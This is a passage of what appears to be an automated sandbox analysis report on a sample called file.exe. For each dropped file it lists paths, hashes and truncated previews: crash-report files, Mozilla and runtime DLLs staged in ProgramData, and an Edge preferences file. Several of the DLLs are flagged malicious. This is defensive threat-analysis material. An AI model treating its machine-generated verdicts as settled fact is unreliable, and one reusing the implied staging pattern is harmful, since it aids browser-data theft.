SHA-512:	DE59F5698AC46312154B8FBC5F0129808A6B6DE45C81A4E9DAC056B0529C4F0BFE8D9493A106BF27C406C6527A374E06FC8DF835F0895F67E8B283D97FD37B22
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.9.9.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD230.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4773
Entropy (8bit):	4.49727069208454
Encrypted:	false
SSDEEP:	48:cvIwwtl8zswe702I7VFJ5WS2CfjkiMbs3rm8M4JLFLhF1+q8fFKQjihKr3e7d:uILfF7GySPfzMSJxdOdre7d
MD5:	539B5A5F3708082008C0E9AF367088CD
SHA1:	8470A294B559AC21A77B4F5900773B8D6EB66B36
SHA-256:	2F82F5826648799BE460DBA8D7918E9E84037B999163CCE2EE43234A900E943F
SHA-512:	428D0D3FA1D7F1582AC115E2E333D1A87BDEE0BFD0D8039EEC7CBBDE7B26470D84AA309D47D148FED5D2FD9E9559AFF14AE09E57C27D790157B3C15F302F6BB8
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222957332" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD23D.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	82168
Entropy (8bit):	3.0405943935278663
Encrypted:	false
SSDEEP:	1536:g5TNQSvAjH7ygp4oiL45G80a8ylde5tkF6e4SyGyCJkake4heexikEkeeeksymy9:g5TNQSvAjH7ygp4oiL45G803ylde5tk0
MD5:	D0AE97C47F49588F3A22C9F0A72C752B
SHA1:	68F85A114E94B2E766056DEE819B243570631B6A
SHA-256:	1A1CA0D1135586ADB0A34D190A8F2983F5210D1B1963DF365C3B37319FABE74D
SHA-512:	04DC8F9625B6B89CCA23ADB5C262855116F38593D7C5F9273005DA5753DA7AD2871E0021FBB8999FC093ED82FEEC75E06C434AE83BFFD399AF30CDF931766740
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD29C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.692505677215346
Encrypted:	false
SSDEEP:	96:KilQfm3cp6EpGUWYIYFWF3HFUYEZ4RdtFi5H1CcwhhIZSaZPecMNwd7BIci3:flQfm3c09vLzuSahecMCp+ci3
MD5:	C3A65747A03642B049E5D30A0D509946
SHA1:	05DB8ADF048DF56AC80AE29848D49D5404000B24
SHA-256:	2FA1D9AF314397C84413F6899A7A5FDDDD54018F637EC6090C028BDB6DBAEF29
SHA-512:	1F72470A3A15FB30EE166C2BBADB9DBE82A0CBBBA7B7F7F14DFA50ABA2A5119A2B1D470D7A3A0575B8670A16ED4061C718E0054A6F94C4602197808F55428562
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.7.0.6.2.1.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .4.6.3.8.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE345.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 2 10:21:20 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	168620
Entropy (8bit):	3.4453926678995477
Encrypted:	false
SSDEEP:	1536:meXpfi4zdpN4uE2aO/tMPLTgPiNgpycPknlaa0yA:xZvl4uEqOPLTgPVpvPknj
MD5:	920BF38682662CD12124D7691732B91D
SHA1:	BDF8A804C8C296F97D6A8D6AF949C85EE80E7BEC
SHA-256:	130B6CC9B51A9398A9E76483151B2CCF3B04FBA7B19752650F492FF9DF6CDB89
SHA-512:	78A5A9B2760013A2DEFB45AE42286F92FFB0C9A297926760BAB5ADA1DED402DB273C99EBCA66B2323C4B5D72B1E0864E0F33E9E62264E9F0D6BCE82C79FA8348
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ....... .Mg........................l...........<...d.......d....C..........`.......8...........T............+...f......................................................................................................bJ......$.......GenuineIntel...........T........&.. .Mg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3B3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8268
Entropy (8bit):	3.68868147336665
Encrypted:	false
SSDEEP:	192:R9l7lZNi5o6F6YqP683mQgmfBC4prRC89bnTsf06CNm:R9lnNiW6F6Y6683mQgmfBH7n4fRR
MD5:	0EC04B8231387389691CE81A43E26F43
SHA1:	7729393729FA8854AA111767F1B45656960B3291
SHA-256:	40CCC09AF6D8E8F04AC63FCFAA8F2B747F8DBBBBA961C9C831E30034ADD73B93
SHA-512:	D4F408A9D9C07075ED045915F8D67832889E0AB795A8F1557E7F4741B5BD8352DE603969AC8FCF442B592D38723FF513533E1E211719CD7A59D9914FD4605691
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.9.9.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3D3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4773
Entropy (8bit):	4.485304312650195
Encrypted:	false
SSDEEP:	48:cvIwwtl8zswe702I7VFJ5WS2CfjkZs3rm8M4JxFLhF7+q82FKJXl6PEd:uILfF7GySPfNJDzx2cPEd
MD5:	9B669A1D3996D3A03441CC43E949A33D
SHA1:	EB90EEBC226B2371D59C9818090013F02C532A42
SHA-256:	06EAD4290724380941CBAD242AA704FA82D2A83EF3A90C77E71D909F5E11EC7A
SHA-512:	BBCAA76A5D55119B782829A12B20468BC3A20BB7350CC8D8CC13E53D6AD0EF49C15470C37D1E2956F1B28C0141B756E9A30FA194F815785FB938B393D99ACAC4
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222957332" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3E3.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	81700
Entropy (8bit):	3.040379737400894
Encrypted:	false
SSDEEP:	1536:oE0dvxQqHiyygp4arA3N5gP5F8ylde5tkF6e4SyGyCJkake4heexikEkeeeksymz:oE0dvxQqHiyygp4arA3N5gP5Wylde5tM
MD5:	1ED348DA30138F5C1418FDD51DA73914
SHA1:	61EDAEE9A5A5431AED4664B361F7460BBB886DFE
SHA-256:	CB402F9694B5091D58092EDBE9EE4CCAA074E0AAFDC6C0B4164B17A07BC434BA
SHA-512:	3A1E06DAFD69F093B9448A15C42BC9CD316AFFDDCCECB8A62BE296D1ACA7B4DDBF7922220EDABF29637435DB677FB251BB8AA11A314F0AA0354D2A76BCAB4D8C
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE442.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6930434825798995
Encrypted:	false
SSDEEP:	96:KilQgos8XYzY3+WRUHtUYEZE3tFiRH/CMwsf9tagcJMF+vI+J3:flQ9kY+mFtagcJMF+A+J3
MD5:	E6B41129E17F60326F165C8D9BD6F862
SHA1:	3D3247127B35E4E0C92CE74CF8460406A65EACFD
SHA-256:	83FFFD3FA9CA70D7732E97260FE628AC0B720D443687902B88E8411ECA9424F4
SHA-512:	554FEBDF11702DEDC33B46C716906362774A88E9FB8B7F1079995145EBF58AA5BCA261900B6BE681E38E2DFB57F73E45EC2D990F0538A00994E530E6B231EF2E
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.7.0.6.2.1.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .4.6.3.8.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1b1f13bf-bad6-42fe-8269-ab0202f6a683.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.632463698095333
Encrypted:	false
SSDEEP:	384:L9iIuERzA83h09RZxeIwj68y9nIKf+qNrB:gIuERzA83h09RZxc68y9nIKfHNd
MD5:	F4292402E99349BD1F06695DCDD36370
SHA1:	8D3706047DC8FAEAFB27D2C49E9F918347601750
SHA-256:	C8741747A1E1AB1FABA967E4AEAD4514E32C91B3147636E35D03648471C4F414
SHA-512:	D60B00335FE73E9016E275920A8BE1AFA40904428C5FF7A5B806039AAF30739E4BDB7FDA008E0954FEE7892CB71024244CBF221E94B1F2E6CFADC70B71E25799
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"1632267943\"","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExposeWidevine","domain":"xfinity.com"},{"applied_policy":"OnlyExposeWidevine","domain":"watchtv.cox.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ignitetv.rogers.com"},{"applied_policy":"OnlyExposeWidevine","domain":"b

